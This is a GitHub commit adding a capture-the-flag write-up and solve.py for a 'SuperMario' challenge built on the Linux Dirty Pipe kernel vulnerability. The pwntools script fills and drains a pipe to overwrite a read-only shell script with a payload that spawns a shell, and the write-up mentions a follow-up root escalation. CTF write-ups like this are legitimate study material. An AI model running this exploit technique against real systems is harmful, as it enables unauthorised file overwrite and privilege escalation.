Skip to content

Commit 20b5d50

Browse files
committed
Add hackers playground supermario
1 parent 4035e00 commit 20b5d50

File tree

2 files changed

+63
-0
lines changed

2 files changed

+63
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
SuperMario
2+
----------
3+
4+
The challenge name, and also looking at the binary, we can tell that this is referring to the Dirty Pipe vulnerability in the Linux Kernel.
5+
6+
The challenge gives us the exact primitives we need:
7+
8+
* Read from a Pipe
9+
* Write to a Pipe
10+
* Open a file in read only mode.
11+
12+
We can just follow the steps in the original Dirty Pipe blog: https://dirtypipe.cm4all.com/
13+
14+
We use the vulnerability to overwrite the init.sh file with our own commands and run it.
15+
16+
This gives us a shell. However the flag is only readable by root.
17+
18+
So we just use a generic dirty pipe exploit to escalate privileges to root and read the flag.
19+
20+
The exploit can be found in `solve.py`.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
from pwn import *
2+
3+
#proc = process(["runuser", "guest", "-c", "/home/guest/mario"])
4+
proc = remote('supermario.sstf.site', 34003)
5+
6+
def read_pipe():
7+
proc.sendlineafter(b"cmd>", b"1")
8+
return proc.recv()
9+
10+
def write_pipe(size, data):
11+
proc.sendlineafter(b"cmd>", b"2")
12+
proc.sendlineafter(b"size?>", str(size).encode())
13+
proc.recvuntil(b"input>")
14+
proc.sendline(data)
15+
16+
def write_file(path):
17+
proc.sendlineafter(b"cmd>", b"3")
18+
proc.sendlineafter(b"path>", path.encode())
19+
print(proc.recvline())
20+
21+
def read_file(path, size):
22+
proc.sendlineafter(b"cmd>", b"4")
23+
proc.sendlineafter(b"Path>", path.encode())
24+
proc.sendlineafter(b"size?>", str(size).encode())
25+
print(proc.recvline())
26+
27+
28+
pipe_size = 65536
29+
buffer_size = 4096
30+
31+
for i in range(0, pipe_size, buffer_size):
32+
write_pipe(buffer_size, b'A' * buffer_size)
33+
34+
for i in range(0, pipe_size, buffer_size):
35+
read_pipe()
36+
37+
read_file('/home/guest/info.sh', 1)
38+
39+
sice = "!/bin/sh\n/bin/bash\n"
40+
write_pipe(len(sice), sice.encode())
41+
42+
proc.interactive()
43+

0 commit comments

Comments
 (0)